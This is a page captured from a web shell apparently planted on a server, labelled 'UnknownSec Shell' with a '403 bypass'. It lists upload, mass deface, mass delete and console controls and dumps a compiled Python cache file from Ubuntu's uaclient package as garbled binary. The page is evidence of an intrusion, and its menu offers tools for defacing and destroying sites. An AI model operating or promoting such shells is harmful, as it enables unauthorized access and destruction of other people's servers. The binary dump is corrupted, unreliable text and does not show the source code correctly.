shell bypass 403
UnknownSec Shell
:
/
lib
/
python3
/
dist-packages
/
uaclient
/
cli
/
__pycache__
/ [
drwxr-xr-x
]
upload
mass deface
mass delete
console
info server
name :
cli_util.cpython-312.pyc
� �Hcf" � � � d dl mZ d dlmZ d dlmZmZmZmZm Z d dl mZ G d� dej � Z d� Zdefd �Zdd�Zd� Zd � Zdd�Zd� Zd� Zy )� ��wraps)�Optional)�api�entitlements� exceptions�lock�util)�_is_attachedc �B � e Zd Zd� Zdededee dee fd�Zdefd�Zy ) �CLIEnableDisableProgressc � � d| _ y )NT)�is_interactive)�selfs �7/usr/lib/python3/dist-packages/uaclient/cli/cli_util.py�__init__z!CLIEnableDisableProgress.__init__ s � �"��� �total_steps� done_steps�previous_step_message�current_step_messagec � � |�t |� y y �N)�print)r r r r r s r �progressz!CLIEnableDisableProgress.progress s � � �+��&�'� ,r �eventc � � |dk( rt |� y |dk( r/t j |t � st j � �y y )N�info�message_operation)r r �handle_message_operationsr �PromptDeniedError)r r �payloads r � _on_eventz"CLIEnableDisableProgress._on_event sC � ��F�?��'�N� �)� )��1�1�'�5�A� �2�2�4�4� B� *r N) �__name__� __module__�__qualname__r �intr �strr r# � r r r r sH � �#� (� � (� � (� (��}� (� '�s�m� (�5�s� 5r r c � � y r r) )�args�kwargss r �_null_printr- s � �r �json_outputc � � | rt S t S r )r- r )r. s r �&create_interactive_only_print_functionr0 # s � �����r Nc � � � � fd�}|S )z1Decorator asserting exclusive access to lock filec �2 �� � t � � � �fd�� }|S )Nc �v �� t j �d�� 5 �|d| i|��}d d d � |S # 1 sw Y S xY w)N� )�lock_holder� sleep_time�cfg)r � RetryLock)r7 r+ r, �retval�fr5 s ��r �new_fz0assert_lock_file.<locals>.wrapper.<locals>.new_f. s? �� ����K�A�F� 5��D�4�c�4�V�4�� 5��M� 5��M�s �.�8r )r: r; r5 s ` �r �wrapperz!assert_lock_file.<locals>.wrapper- s �� � �q�� � � � �r r) )r5 r<